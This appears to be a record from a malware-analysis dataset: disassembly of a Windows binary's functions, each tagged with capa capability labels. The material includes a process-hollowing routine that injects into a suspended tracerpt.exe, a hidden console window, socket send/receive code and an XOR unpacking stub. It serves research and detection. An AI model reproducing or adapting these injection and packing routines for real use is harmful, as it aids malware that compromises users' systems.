joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x42012c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push 0x44
lea ecx, [ebp - 0x418]
push 0
push ecx
mov dword [ebp - 0x3d4], eax
call fcn.0040b660
xor eax, eax
mov dword [esi], eax
push 0x2cc
mov dword [esi + 4], eax
push eax
lea edx, [ebp - 0x3d0]
mov dword [esi + 8], eax
push edx
mov dword [esi + 0xc], eax
call fcn.0040b660
xor eax, eax
push 0xfe
push eax
lea ecx, [ebp - 0x103]
push ecx
mov dword [ebp - 0x418], 0x44
mov dword [ebp - 0x3ec], 1
mov word [ebp - 0x3e8], ax
mov byte [ebp - 0x104], al
call fcn.0040b660
add esp, 0x24
push 0xff
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push str.WindowsSysWOW64_tracerpt.exe
push eax
push str._s_s
mov edx, eax
mov byte [ebp - 0x101], 0
call fcn.004026e0
add esp, 0xc
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4025a9
push str.WindowsSystem32_tracerpt.exe
lea edx, [ebp - 0x104]
push edx
push str._s_s
mov byte [ebp - 0x101], 0
call fcn.004026e0
add esp, 0xc
push esi
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4025de
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a37f
mov esp, ebp
pop ebp
ret
mov edx, dword [esi]
push ebx
push 0x40
push 0x3000
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
je 0x40264a
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [esi]
push 0
push edi
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40264a
mov eax, dword [esi + 4]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov dword [ebp - 0x3d0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40264a
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x3d0]
push ecx
push edx
mov dword [ebp - 0x318], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x40265b
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a37f
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0040a37f
mov esp, ebp
pop ebp
ret
Function at 0x403840
Capabilities:
Create thread
Hide graphical window

Disassembly:
push esi
push 0x403820
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
call fcn.004029a0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x403140
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403460
push 0
push 0
mov dword [0x4250d4], eax
call esi
mov eax, dword [0x4250d4]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x4250d4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop esi
ret

Function at 0x405550
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0
test eax, eax
jne 0x4055a2
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 8]
push eax
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x4055db
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 4]
push edx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
push edi
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x405614
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [ebp - 4]
push ecx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405a60
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor eax, eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x24]
mov word [ebp - 0x24], ax
mov eax, dword [ebp + 8]
push edx
push eax
mov dword [ebp - 8], 0x1c
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x405a8f
xor eax, eax
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.00405940
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x405b80
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x42012c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
xor eax, eax
push esi
mov esi, dword [ebp + 0x10]
mov dword [esi + 2], eax
mov dword [esi + 6], eax
mov dword [esi + 0xa], eax
mov dword [esi + 0xe], eax
mov dword [esi + 0x12], eax
push edi
mov dword [esi + 0x16], eax
mov dword [ebp - 0xa8], eax
mov word [esi + 0x1a], ax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], eax
movzx eax, word [esi]
push 3
lea edx, [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xac], 0xc00
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x88], edx
call fcn.00405ab0
mov edx, dword [ebp - 0x88]
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0xac]
push ecx
push 0
push edx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov edi, eax
mov eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x84]
cmp eax, ecx
je 0x405c48
push eax
call fcn.0040b1c8
add esp, 4
test edi, edi
je 0x405c65
push edi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a37f
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp - 0x8c]
xor edi, edi
mov eax, ebx
test ebx, ebx
je 0x405ca0
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x405c8a
cmp ecx, 0x17
je 0x405c8a
mov eax, dword [eax + 0x1c]
test eax, eax
jne 0x405c74
jmp 0x405ca0
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0x18]
push edx
push eax
push esi
call fcn.0040b9f0
add esp, 0xc
mov edi, 1
push ebx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
pop ebx
test edi, edi
je 0x405ccc
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi + 2], ax
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a37f
mov esp, ebp
pop ebp
ret
push 0x2af9
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0040a37f
mov esp, ebp
pop ebp
ret
Function at 0x407ca0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
push esi
push edi
mov esi, ecx
test eax, eax
jne 0x407ccc
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0x1c]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x407ce9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, 1
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], 2
mov dword [esi + 0x18], edi
mov dword [esi + 0x14], eax
pop edi
xor eax, eax
pop esi
pop ebp
ret 4
mov edi, 1
mov dword [esi + 0x4c], edi
push 0
mov dword [esi + 0x50], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi]
mov edx, dword [eax + 0x84]
mov ecx, esi
call edx
cmp eax, 2
je 0x407d45
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x407d3d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x407d3d
test eax, eax
je 0x407d3d
push 0x80004005
call fcn.00403fb0
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x407d54
mov eax, 0x4c7
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 5
mov dword [esi + 0x18], 0
mov dword [esi + 0x14], eax
pop edi
xor eax, eax
pop esi
pop ebp
ret 4
Function at 0x407ed0
Capabilities:
Connect socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
cmp dword [ebp + 0xc], edi
je 0x407f3e
mov eax, dword [esi + 0x20]
mov ecx, dword [esi + 0x1c]
push 0x30
push eax
push ecx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40800e
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x1c]
xor ecx, ecx
cmp word [eax], 2
setne cl
dec ecx
and ecx, 0xfffffff4
add ecx, 0x1c
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x408009
cmp eax, 0xffffffff
jne 0x407f34
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x408009
xor edi, edi
mov eax, edi
pop edi
pop esi
pop ebp
ret 8
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp word [eax], 2
setne cl
dec ecx
and ecx, 0xfffffff4
add ecx, 0x1c
push ecx
push eax
mov eax, dword [esi + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x40800e
mov ecx, dword [esi + 0x20]
mov edx, dword [esi + 0x1c]
push 0x23
push ecx
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40800e
mov dword [esi + 0x4c], 1
push 0
mov dword [esi + 0x50], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi]
mov edx, dword [eax + 0x84]
mov ecx, esi
call edx
cmp eax, 2
jne 0x407fc4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x407fb5
mov eax, 0x4c7
push eax
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, edi
pop edi
pop esi
pop ebp
ret 8
mov eax, dword [esi + 0x1c]
xor edi, edi
push edi
push edi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x407fea
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x407fea
xor edi, edi
mov ecx, dword [esi + 0x24]
push ecx
push str._C_CNNID:__Iu__send_0_bytes__detect_package__n
call fcn.00404100
add esp, 8
test edi, edi
je 0x408009
push 0x80004005
call fcn.00403fb0
mov edi, 1
mov eax, edi
pop edi
pop esi
pop ebp
ret 8

Function at 0x408020
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x190]
mov ecx, dword [esi + 0x38]
mov ebx, 1
add dword [esi + 0x190], ebx
cmp eax, ecx
jb 0x408051
xor eax, eax
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], 5
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
pop esi
pop ebx
ret
mov edx, dword [esi + 0x1c]
push edi
xor edi, edi
push edi
push edi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x408078
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
cmp edi, 0x2733
jne 0x408078
xor edi, edi
mov eax, dword [esi + 0x24]
push eax
push str._C_CNNID:__Iu__send_0_bytes__detect_package__n
call fcn.00404100
add esp, 8
test edi, edi
je 0x4080a3
mov dword [esi + 0x14], edi
pop edi
mov dword [esi + 0xc], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0x10], 5
pop esi
xor eax, eax
pop ebx
ret
pop edi
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x4081a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x18c]
push edi
test eax, eax
jne 0x40828c
xor ebx, ebx
mov ecx, dword [esi + 0x2c]
mov eax, dword [esi + 0x5c]
mov edx, dword [esi + 0x1c]
push ebx
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov edi, eax
cmp edi, ebx
jle 0x408241
mov eax, dword [esi + 0x5c]
push edi
push eax
mov dword [esi + 0x190], ebx
call fcn.004056a0
add esp, 8
test eax, eax
jne 0x408295
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esi + 0x5c]
mov edx, dword [esi]
push edi
push eax
mov eax, dword [edx + 0x94]
mov ecx, esi
call eax
cmp eax, 2
jne 0x40827e
mov eax, dword [esi + 0x24]
push eax
push str._C_CNNID:__Iu__OnReceive___event_return_HR_ERROR__connection_will_be_closed___n
call fcn.00404100
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
jne 0x408226
mov eax, 0x4c7
mov ecx, 1
mov dword [esi + 0x18], ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x10], 4
pop edi
mov dword [esi + 0xc], ecx
pop esi
xor eax, eax
pop ebx
ret
cmp edi, 0xffffffff
jne 0x408263
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x40828c
cmp eax, 0x2744
je 0x40827e
cmp eax, 0x2746
jne 0x408226
jmp 0x40827e
cmp edi, ebx
jne 0x40827e
mov ecx, dword [esi + 0x24]
push ecx
push str._C_CNNID:__Iu__recv_0_bytes__detect_package__n
mov dword [esi + 0x190], ebx
call fcn.00404100
add esp, 8
mov edx, dword [esi + 0x18c]
test edx, edx
je 0x4081b5
pop edi
pop esi
mov eax, 1
pop ebx
ret
pop edi
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0xc], 1
mov dword [esi + 0x10], 5
pop esi
xor eax, eax
pop ebx
ret
Function at 0x4087c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a838
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x42012c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0x70]
mov dword [ebp - 0x14], eax
mov ecx, dword [esi + 0x188]
xor edi, edi
test ecx, ecx
jle 0x408854
lea ebx, [esi + 0x154]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esi + 0x170]
cmp edi, dword [esi + 0x174]
je 0x408829
mov eax, dword [edi + 4]
mov dword [esi + 0x170], eax
mov dword [eax + 8], 0
jmp 0x40883b
test edi, edi
je 0x40883b
xor eax, eax
mov dword [esi + 0x170], eax
mov dword [esi + 0x174], eax
xor eax, eax
cmp edi, eax
je 0x40884d
mov dword [edi + 4], eax
mov dword [edi + 8], eax
dec dword [esi + 0x16c]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x408955
mov eax, dword [edi + 0x18]
sub eax, dword [edi + 0x14]
mov ecx, dword [edi + 0x14]
mov edx, dword [esi + 0x1c]
push 0
push eax
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
mov ebx, eax
test ebx, ebx
jle 0x4088d4
lea eax, [esi + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [esi + 0x188], ebx
lea eax, [esi + 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [edi + 0x14]
mov edx, dword [esi]
push ebx
push eax
mov eax, dword [edx + 0x8c]
mov ecx, esi
call eax
cmp eax, 2
jne 0x4088d9
mov ecx, dword [esi + 0x24]
push ecx
push str._C_CNNID:__Iu__OnSend___event_should_not_return_HR_ERROR____n
call fcn.00404100
add esp, 8
jmp 0x4088d9
cmp ebx, 0xffffffff
je 0x408902
mov ecx, dword [ebp - 0x14]
push edi
add ecx, 0x1c
mov dword [ebp - 4], 0xffffffff
call fcn.00405340
test eax, eax
jne 0x4087f0
push edi
call fcn.004076c0
add esp, 4
jmp 0x4087f0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40896c
lea ebx, [esi + 0x154]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0x170]
xor ecx, ecx
cmp eax, ecx
je 0x408936
mov dword [eax + 8], edi
mov edx, dword [esi + 0x170]
mov dword [edi + 4], edx
jmp 0x408942
mov dword [edi + 8], ecx
mov dword [edi + 4], ecx
mov dword [esi + 0x174], edi
inc dword [esi + 0x16c]
push ebx
mov dword [esi + 0x170], edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 1
mov dword [esi + 0xc], ecx
mov dword [esi + 0x18], ecx
mov ecx, dword [ebp - 0x14]
push edi
add ecx, 0x1c
mov dword [esi + 0x10], 3
mov dword [esi + 0x14], eax
mov dword [ebp - 4], 0xffffffff
call fcn.00405340
test eax, eax
jne 0x4089a1
push edi
call fcn.004076c0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408c00
Capabilities:
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a898
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x42012c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.004076e0
mov edi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov ebx, dword [ebp - 0x18]
push edi
push ecx
push ebx
mov dword [ebp - 4], 0
call fcn.00405cf0
add esp, 0xc
test eax, eax
jne 0x408c7a
cmp dword [ebp - 0x10], 0
je 0x408c64
push ebx
call fcn.0040b748
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x408cff
cmp word [eax], 0
je 0x408cff
mov ebx, dword [ebp + 0x18]
push ebx
push 0
push eax
call fcn.00405a30
add esp, 0xc
test eax, eax
jne 0x408cc1
cmp dword [ebp - 0x10], eax
je 0x408c64
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040b748
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov ax, word [edi]
cmp ax, word [ebx]
je 0x408cfc
push 0x273f
call dword [sym.imp.WS2_32.dll_WSASetLastError]
cmp dword [ebp - 0x10], 0
je 0x408c64
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0040b748
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov ebx, dword [ebp - 0x18]
movzx edx, word [edi]
push 0x11
push 2
push edx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x1c], eax
cmp eax, 0xffffffff
je 0x408c55
push 0
push eax
call fcn.00405630
add esp, 8
test eax, eax
je 0x408d32
push 0x80004005
call fcn.00403fb0
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call fcn.00405550
add esp, 8
test eax, eax
je 0x408d50
push 0x80004005
call fcn.00403fb0
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov edx, dword [ebp - 0x14]
push edx
lea ecx, [esi + 0x68]
mov dword [esi + 0x20], eax
call fcn.00407b90
cmp dword [ebp - 0x10], 0
mov ax, word [ebp + 0x10]
mov word [esi + 0x6c], ax
je 0x408d7c
push ebx
call fcn.0040b748
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x4092a0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
lea eax, [esi + 0x44]
push eax
push 0
push esi
push 0x408ed0
push 0
push 0
call fcn.0040aa21
xor ecx, ecx
add esp, 0x18
test eax, eax
setne cl
mov dword [esi + 0x40], eax
pop esi
mov eax, ecx
ret

Function at 0x40a37f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42012c]
jne 0x40a389
repz ret
jmp fcn.0040c06b
Function at 0x4151cc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42012c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040caf8
and dword [ebp - 0x14], 0
cmp dword [0x422ce0], 0
mov dword [ebp - 0x18], eax
jne 0x41527f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x415327
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x415327
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x422ce0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422ce4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422ce8], eax
call edi
push eax
call esi
mov dword [0x422cf0], eax
test eax, eax
je 0x41527f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x422cec], eax
mov eax, dword [0x422cec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4152d8
cmp dword [0x422cf0], ecx
je 0x4152d8
push eax
call esi
push dword [0x422cf0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4152d8
test ebx, ebx
je 0x4152d8
call edi
test eax, eax
je 0x4152cf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4152cf
test byte [ebp - 8], 1
jne 0x4152d8
or dword [ebp + 0x10], 0x200000
jmp 0x41530b
mov eax, dword [0x422ce4]
cmp eax, dword [ebp - 0x18]
je 0x41530b
push eax
call esi
test eax, eax
je 0x41530b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41530b
mov eax, dword [0x422ce8]
cmp eax, dword [ebp - 0x18]
je 0x41530b
push eax
call esi
test eax, eax
je 0x41530b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x422ce0]
call esi
test eax, eax
je 0x415327
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x415329
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a37f
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x769a0fb3
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x116604c2
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219